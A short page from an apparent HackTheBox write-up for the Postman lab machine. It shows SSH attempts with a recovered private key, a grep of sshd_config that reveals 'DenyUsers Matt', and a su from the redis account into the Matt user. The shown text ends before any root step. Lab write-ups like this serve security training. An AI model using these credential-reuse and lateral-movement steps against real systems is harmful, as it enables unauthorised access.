> For the complete documentation index, see [llms.txt](https://kashz.gitbook.io/hackthebox-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kashz.gitbook.io/hackthebox-writeups/htb-boxes/postman/5-matt-greater-than-root.md).

# 5 Matt > root

```
$ ssh -i id_rsa matt@10.10.10.160
Enter passphrase for key 'id_rsa':
Connection closed by 10.10.10.160 port 22

$ ssh -i id_rsa root@10.10.10.160
Enter passphrase for key 'id_rsa':
root@10.10.10.160's password:

So password is right but not accepting.
Looking at /etc/ssh/sshd_config, we see

redis@Postman:~$ cat /etc/ssh/sshd_config | grep Matt
DenyUsers Matt

redis@Postman:~$ su Matt
Password:
Matt@Postman:/var/lib/redis$ whoami;id
Matt
uid=1000(Matt) gid=1000(Matt) groups=1000(Matt)
```